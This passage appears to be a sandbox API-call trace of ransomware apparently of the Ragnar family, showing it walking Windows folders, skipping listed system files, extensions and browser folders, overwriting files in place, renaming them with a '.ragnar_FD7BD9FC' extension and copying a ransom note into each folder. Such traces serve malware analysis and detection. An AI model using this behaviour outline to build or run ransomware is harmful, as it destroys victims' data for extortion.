flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0073.254] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.254] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0073.254] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x543, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x543, lpOverlapped=0x0) returned 1 [0073.254] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0073.254] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x543, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.254] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x543, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x543, lpOverlapped=0x0) returned 1 [0073.254] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x543, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.254] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0073.254] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x543, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.255] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.255] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0073.255] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0073.255] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0073.255] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.255] GetProcessHeap () returned 0x580000 [0073.255] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0073.255] CloseHandle (hObject=0x100) returned 1 [0073.258] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" [0073.258] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.ragnar_FD7BD9FC" [0073.258] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0073.259] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7dded1c0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7dded1c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0073.259] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0073.259] lstrcpyW (in: lpString1=0x1eab6a, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0073.259] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\RGNR_FD7BD9FC.txt") returned=".txt" [0073.259] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0073.259] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6722, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0073.259] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0073.259] lstrcpyW (in: lpString1=0x1eab6a, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG" [0073.259] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned=".PNG" [0073.259] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0073.259] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="autorun.inf") returned 1 [0073.259] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="boot.ini") returned 1 [0073.259] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootfont.bin") returned 1 [0073.259] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootsect.bak") returned 1 [0073.259] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr") returned 1 [0073.259] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr.efi") returned 1 [0073.259] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgfw.efi") returned 1 [0073.259] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="desktop.ini") returned 1 [0073.259] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="iconcache.db") returned 1 [0073.259] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntldr") returned 1 [0073.259] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat") returned 1 [0073.259] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat.log") returned 1 [0073.259] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.ini") returned 1 [0073.259] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="thumbs.db") returned -1 [0073.259] lstrcmpiW (lpString1=".PNG", lpString2=".db") returned 1 [0073.260] lstrcmpiW (lpString1=".PNG", lpString2=".sys") returned -1 [0073.260] lstrcmpiW (lpString1=".PNG", lpString2=".dll") returned 1 [0073.260] lstrcmpiW (lpString1=".PNG", lpString2=".lnk") returned 1 [0073.260] lstrcmpiW (lpString1=".PNG", lpString2=".msi") returned 1 [0073.260] lstrcmpiW (lpString1=".PNG", lpString2=".drv") returned 1 [0073.260] lstrcmpiW (lpString1=".PNG", lpString2=".exe") returned 1 [0073.260] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png")) returned 0x20 [0073.260] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0073.260] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=26402) returned 1 [0073.260] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x6719, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.260] GetProcessHeap () returned 0x580000 [0073.260] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0073.260] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0073.263] VirtualAlloc (lpAddress=0x0, dwSize=0x6722, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0073.263] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.263] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0073.263] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6722, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x6722, lpOverlapped=0x0) returned 1 [0073.265] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0073.265] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6722, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.265] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6722, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x6722, lpOverlapped=0x0) returned 1 [0073.265] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6722, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.265] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0073.265] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x6722, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.266] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.266] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0073.266] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0073.266] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0073.266] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.266] GetProcessHeap () returned 0x580000 [0073.266] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0073.266] CloseHandle (hObject=0x100) returned 1 [0073.267] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" [0073.267] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.ragnar_FD7BD9FC" [0073.267] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0073.268] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6722, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0073.268] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0073.268] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN", cAlternateFileName="")) returned 1 [0073.268] lstrcmpiW (lpString1="EVRGREEN", lpString2=".") returned 1 [0073.268] lstrcmpiW (lpString1="EVRGREEN", lpString2="..") returned 1 [0073.268] lstrcmpiW (lpString1="EVRGREEN", lpString2="Windows") returned -1 [0073.268] lstrcmpiW (lpString1="EVRGREEN", lpString2="Windows.old") returned -1 [0073.268] lstrcmpiW (lpString1="EVRGREEN", lpString2="Tor browser") returned -1 [0073.268] lstrcmpiW (lpString1="EVRGREEN", lpString2="Internet Explorer") returned -1 [0073.268] lstrcmpiW (lpString1="EVRGREEN", lpString2="Google") returned -1 [0073.268] lstrcmpiW (lpString1="EVRGREEN", lpString2="Opera") returned -1 [0073.268] lstrcmpiW (lpString1="EVRGREEN", lpString2="Opera Software") returned -1 [0073.268] lstrcmpiW (lpString1="EVRGREEN", lpString2="Mozilla") returned -1 [0073.268] lstrcmpiW (lpString1="EVRGREEN", lpString2="Mozilla Firefox") returned -1 [0073.268] lstrcmpiW (lpString1="EVRGREEN", lpString2="$Recycle.Bin") returned 1 [0073.268] lstrcmpiW (lpString1="EVRGREEN", lpString2="ProgramData") returned -1 [0073.268] lstrcmpiW (lpString1="EVRGREEN", lpString2="All Users") returned 1 [0073.268] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0073.268] lstrcpyW (in: lpString1=0x1eb638, lpString2="EVRGREEN" | out: lpString1="EVRGREEN") returned="EVRGREEN" [0073.268] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\" [0073.268] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\" [0073.268] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\RGNR_FD7BD9FC.txt" [0073.268] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0073.271] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\*.*" [0073.271] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0073.271] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0073.271] lstrcpyW (in: lpString1=0x1ea75e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0073.271] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7deab8a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7deab8a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0073.272] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0073.272] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7deab8a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7deab8a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.272] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0073.272] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0073.272] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc37d800, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x52008f10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc37d800, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x12dee, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN.ELM", cAlternateFileName="")) returned 1 [0073.272] lstrcmpiW (lpString1="EVRGREEN.ELM", lpString2=".") returned 1 [0073.272] lstrcmpiW (lpString1="EVRGREEN.ELM", lpString2="..") returned 1 [0073.272] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6099bdd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x223, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN.INF", cAlternateFileName="")) returned 1 [0073.272] lstrcmpiW (lpString1="EVRGREEN.INF", lpString2=".") returned 1 [0073.272] lstrcmpiW (lpString1="EVRGREEN.INF", lpString2="..") returned 1 [0073.272] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0073.272] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".") returned 1 [0073.272] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="..") returned 1 [0073.272] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7deab8a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7deab8a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0073.272] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0073.272] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0073.272] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7eb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0073.272] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".") returned 1 [0073.272] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="..") returned 1 [0073.272] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7eb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0073.272] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0073.272] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7deab8a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7deab8a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0073.272] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7deab8a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7deab8a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.273] FindNextFileW 